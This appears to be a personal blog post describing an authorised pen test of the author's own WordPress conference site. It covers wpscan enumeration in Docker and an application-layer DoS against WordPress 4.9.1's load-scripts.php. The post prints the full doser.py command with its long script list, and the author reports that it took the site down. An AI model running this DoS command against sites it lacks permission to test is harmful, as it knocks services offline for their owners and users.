Exploiting my own WordPress part 1 – Objective and wpscan

TL;DR:
Using WPscan, I enumerate a wordpress site that I have set up myself. I find two vulnerabilities and I successfully exploit one of them

Objectives
Finding and exploiting security vulnerabilities in the wordpress site adaconf.org
Deepening my understanding of various attack tools
Deepening my understanding of wordpress defense plugins.


Test type
This is a gray-box test, as I have setup the site myself but do not have full understanding of  the inner workings of the used wordpress plugins, themes etc.

Management approval
I’m an ethical hacker, and on top of that I prefer not to go to prison. Therefore I have gained management approval from the owner of adaconf.org to perform pen testing on the site. Management in this case is… me. I’m the sysadmin, I set it up. I also asked my co-organizers for approval, and it was given to me from them as well.

You, the reader, do not have management approval to pen test our site.

 

Time scope
Right now. The conference was two days ago and will not be until in at least half a year again, so now is the perfect time to regroup and test our defenses.

 

Defense
Upon creating the site, the first thing I did was to install and configure the All in One Security WP plugin. I did not configure it to a ridiculous level of security, but kept to the basic, well understood defense and evasion techniques. I for example do not expect wpscan not to easily be able to find our login page, find the database, enumerate users or perform brute force credentials attacks. These are defences that help towards automated, “dumb” attacks. But can I perform a smart, manual attack and compromise myself?

WPScan
There are many ways of using wpscan. For example it comes preinstalled in Kali Linux, and you can install it on your Ubuntu machine using apt-get. I’ve previously used an online Freemium version of wpscan to perform enumeration on WordPress sites that I’ve maintained. They give you a report listing the low hanging fruits of WordPress issues, giving you some idea about what part of your site that is vulnerable. However, the recommended way of using it is as a Docker image. Yay! Finally I have a reason to get started with containerization! I went through the Docker startup guide and then pulled the docker repo for wpscan.

Vulnerable plugins found!

The easiest, default use of wpscan is to simply passive footprinting of the site. What plugins does it have, and what versions? Are there outdated, vulnerable plugins?

 

docker run -it –rm wpscanteam/wpscan -url https://a-site-that-I-am-allowed-to-scan

 

When scanning adaconf.org I see that there are seven alerts about known vulnerabilities. Oops. I realize I haven’t logged in in a long time and updated the wordpress version and the plugins!

Patch management on a WordPress site is somewhat dangerous. It’s an open source framework and more than once a new plugin has caused real issues for me. Noone has a responsibility for the ecosystem, however, that’s no excuse. I have enabled weekly backups of the full server, and I can log in to my hosting provider to make a manual backup before patching, making sure that any issues I create with keeping the site updated will not cause trouble.

Logging in to my admin panel, I see there are indeed components that want to be updated. Not all of the updates are security related, but some of the vulnerabilities are emanating from the same plugins. I choose not to patch just yet. I want to dig deeper into these vulnerabilities first.

…or not?

Every vulnerability wpscan finds is categorized on a high level: is it an XSS vulnerability or a DoS issue? If there is a fix for the issue the report also states in what version the issue was patched. With every component vulnerability there are at least three links to explain the issue.

It turns out, wpscan has not at all found seven known vulnerabilities, it has found components which at one time or another in their life have had a security hole disclosed.

My site doesn’t exposed the plugin versions to wpscan. Therefore, wpscan lists ALL previous issues, and the version where the issue was fixed. One of the listed links is to a blog post explaining a four year old issue! I verify that the versions I have are not affected… which is kind of sad, because it would have been fun to legally exploit a remote execution bug. Well…!able!

Yeah, they are vulnerable!

My site _does_ however disclose the WordPress version. WordPress 4.9.1 has an XSS (Cross Site Scripting) vulnerability that was patched in the next version, and also an unpatched application layer DoS vulnerability!

There are step-by-step instructions on how to perform the DoS attack, so I go ahead and do that. Easy as pie (or doser.py) I copy-paste a command with a ridiculously long argument from the internet (what could possibly go wrong?).

 

python doser.py -g ‘http://dont-try-this-at-home.kids//wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9’ -t 99

 

During the attack my website is unreachable, just as expected. After breaking off the attack, I get “Error establishing a database connection”. Logging in to my hosting provider I perform a hard reset of the machine, and after that everything is back to normal.

DoS attacks are not very elegant. There’s no injections involved, no data is stolen. Denial of Service just exhausts the resources on the server, and in this case it’s very easy because the server is cheap, small and lacks elasticity. On top of that, they are really easy to perform and sometimes costly to defend against.

A word of caution

This DoS attack is against the application layer, and that’s good. Had the attack been on the network layer (a “normal” DoS attack), I would not be legally allowed to perform it, because my website shares an IP address with another site (so called “shared tenants). Although I did obtain permission to test my own site, I did not obtain permission to test or DoS the other site.

 

All the enumeration options give very similar output, which is a bit confusing. Why is wpscan listing all the plugins when  I enumerate the users? This is a feature request from me: As a user, I expect a limited scope scan to actually be a limited scope scan.